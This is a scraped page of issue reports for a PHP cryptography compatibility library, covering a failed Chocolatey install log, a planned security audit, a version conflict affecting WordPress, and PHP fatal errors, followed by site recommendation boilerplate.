 - kb2999226 (exited 1058) - Error while running 'C:\ProgramData\chocolatey\lib\KB2999226\tools\chocolateyinstall.ps1'.
 See log for details.
 - kb2919442 (exited 1058) - Error while running 'C:\ProgramData\chocolatey\lib\KB2919442\tools\ChocolateyInstall.ps1'.
 See log for details.
 - kb3035131 (exited 1058) - Error while running 'C:\ProgramData\chocolatey\lib\KB3035131\Tools\ChocolateyInstall.ps1'.
 See log for details.
Command exited with code 1058

Third Party Cryptography Audit

After I'm confident that this library is...

  • Secure, even against sophisticated attackers
  • Correctly implemented
  • Adequately pedantic about types, etc.
  • Perfectly API compatible with the relevant libsodium features we're bringing over

...then the next step will be to obtain an independent third party security assessment.

Incompatibility between 1.12.0 and earlier version(s)

It appears there is an incompatibility between the latest version of the library and earlier versions, where, if an earlier version is loaded first, the checks performed by the library will not suffice to detect this, and attempt to load elements anew.

The specific issue at hand is caused by a WordPress plugin connecting to a different software that utilizes the latest version of the library, causing WordPress to emit notices and thus breaking the page output:
7bTCTBz

Potentially related to #101

Fatal error: Call to undefined function random_bytes()

Hello,

The following error is occurring when I try to run any of the Using Sodium Compat examples in the README.

Fatal error: Call to undefined function random_bytes() in /path/to/sodium_compat-1.6.1/src/Core/Ed25519.php on line 24

As I understand it, random_bytes() is only available in PHP >= 7.
Is there a reason for this error or am I missing something?

I managed to circumvent the error by using Random-Compat (https://github.com/paragonie/random_compat), but ideally I'd want to avoid this.

Maximum execution time of 30 seconds exceeded on php 7.2.8

I'm getting:

Fatal error: Maximum execution time of 30 seconds exceeded in C:\xampp\htdocs\sodium\Libsodium\src\Core32\Int64.php on line 436

When I'm trying to run the demo in php 7.2.8 as it is metioned on the documentation, without the use of composer.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.